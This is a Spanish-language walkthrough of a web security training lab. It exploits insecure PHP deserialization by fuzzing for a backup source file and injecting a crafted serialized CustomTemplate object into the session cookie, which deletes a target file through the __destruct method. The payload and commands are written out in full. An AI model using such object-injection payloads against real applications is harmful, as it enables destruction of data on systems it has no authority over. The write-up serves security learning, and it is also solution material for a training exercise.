Insecure Deserialization Lab 4
Skills
- Arbitrary object injection in PHP
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
utiliza un mecanismo de sesiones
basado en serialización
y es vulnerable a la inyección arbitraria de objetos
. Para resolver
el laboratorio, debemos crear e inyectar un objeto serializado malicioso
para eliminar
el archivo morale.txt
del directorio personal de Carlos
. Necesitaremos obtener acceso
al código fuente
para resolver
este laboratorio
. Podemos iniciar sesión
en nuestra cuenta utilizando las credenciales wiener:peter
Resolución
Al acceder
a la web
nos sale esto
Pulsamos sobre My account
y nos logueamos
utilizando las credenciales wiener:peter
Si hacemos Ctrl + u
e inspeccionamos
el código fuente
de la web, vemos como en la parte inferior
hay un comentario
que hace alusión a la ruta /libs/CustomTemplate.php
Fuzzeamos
en busca de archivos
de backup
y encontramos
un archivo
llamado CustomTemplate.php~
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-extensions.txt -u https://0a81003d04de82aa80dafdef00120067.web-security-academy.net/libs/CustomTemplateFUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://0a81003d04de82aa80dafdef00120067.web-security-academy.net/libs/CustomTemplateFUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-extensions.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 139ms]
.php~ [Status: 200, Size: 1130, Words: 277, Lines: 39, Duration: 55ms]
.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 132ms]
:: Progress: [2450/2450] :: Job [1/1] :: 19 req/sec :: Duration: [0:00:33] :: Errors: 0 ::
Si accedemos a https://0a81003d04de82aa80dafdef00120067.web-security-academy.net/libs/CustomTemplate.php~
podemos ver el código
del archivo php
. Si nos fijamos bien en el código vemos los métodos __destruct()
y __construct()
, los cuales son métodos mágicos
, en PHP
es fácil reconocerlos porque llevan __
siempre en su nombre. Los métodos mágicos en PHP son funciones especiales predefinidas que se ejecutan automáticamente
en respuesta
a ciertos eventos
o interacciones
con un objeto
. En este caso el método que nos interesa es el método mágico __destruct
, que borra
el archivo
que esté en la variable lock_file_path
Refrescamos
la web
con F5
y capturamos
la petición
con Burpsuite
, al hacerlo vemos que el parámetro session
contiene un objeto
Obtenemos
la longitud
de /home/carlos/morale.txt
1
# echo -n '/home/carlos/morale.txt' | wc -c
Obtenemos
la longitud
de lock_file_path
1
# echo -n 'lock_file_path' | wc -c
Obtenemos
la longitud
de CustomTemplate
1
# echo -n 'CustomTemplate' | wc -c
Modificamos
el objeto
cambiando la clase
a CustomTemplate
y añadiéndole
el parámetro lock_file_path
, de forma que si el archivo /home/carlos/morale.txt
existe lo borre
1
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
Nos dirigimos al navegador
y pulsamos Ctrl + Shift + i
, pegamos el nuevo valor para session
y refrescamos
la web
pulsando F5
. Si todo ha funcionado correctamente deberíamos haber borrado
el archivo
y completado
el laboratorio